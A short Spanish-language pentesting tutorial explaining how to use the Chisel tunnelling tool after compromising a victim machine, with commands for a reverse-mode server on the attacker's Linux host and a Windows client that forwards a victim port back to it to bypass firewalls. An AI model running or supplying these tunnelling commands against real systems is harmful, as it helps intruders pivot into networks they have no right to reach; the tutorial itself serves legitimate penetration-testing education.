##¿Qué es Chisel?
Chisel es un túnel TCP/UDP rápido, transportado a través del servicio HTTP y protegido a través de SSH
. Está escrito en Go y utiliza el
protocolo de cliente
a servidor
. Chisel es principalmente útil para pasar a través de firewalls, aunque también se puede usar para
proporcionar un punto final seguro en su red.
Una vez hemos ganado acceso o tenemos la posibilidad de subir archivos y ejecutar comandos en el dispositivo víctima, podemos crear un túnel
con chisel
. Mediante esta herramienta podremos establecer una conexión de cliente
a servidor
y conectar dos puertos entre sí.
Básicamente, conectamos un puerto de la máquina víctima con uno de nuestro equipo, de tal forma, que podemos ejecutar cualquier herramienta en
local usando ese puerto, y automáticamente se redireccionara el ataque a la máquina víctima.
En primer lugar, debemos de establecer Chisel
en modo Servidor
en nuestro sistema Linux, para ello debemos de asegurarnos que la versión de
Chisel instalada es la adecuada para nuestra distribución. Para establecer nuestro sistema como servidor simplemente ejecutamos el siguiente comando
especificando el puerto que por el que vamos a establecer la conexión. Es importante que este puerto no se encuentre en us.
chisel server --reverse --port [Puerto Local Conexión]
./chisel server --reverse -p [Puerto Local Conexión]
Ejemplo
chisel server --reverse -p 8081
Aquí podemos ver como en el ejemplo hemos establecido un servicio de servidor con Chisel por el puerto 8081, este puerto es el que posteriormente tendremos que especificar en el servicio por parte del Cliente para realizar la conexión.
Para establecer Chisel en un sistema Windows como Cliente
, nos descargamos la versión específica para Windows (debemos de comprobar
si el sistema es de 32 o 64 bits) y ejecutamos el siguiente comando. En él debemos especificar el puerto por el que vamos a comunicarnos
con nuestro servicio Servidor
y los puestos que vamos a comunicar entre sí:
.\chisel.exe client [Ip Local]:[Puerto de Conexión] R:[Puerto Víctima]:127.0.0.1:[Puerto Local]
[Ip Local]
: Es la Ip de nuestro sistema Servidor. O en caso de estar conectados por VPN su Ip pública.
[Puerto de Conexión]
: Es el puerto establecido en la conexión con el Servidor. Debe ser el mismo puerto que especificado en el sistema Linux.
[Puerto Víctima]
y [Puerto Local]
: El puerto Víctima pasará a ser el puerto local de nuestro local host 127.0.0.1.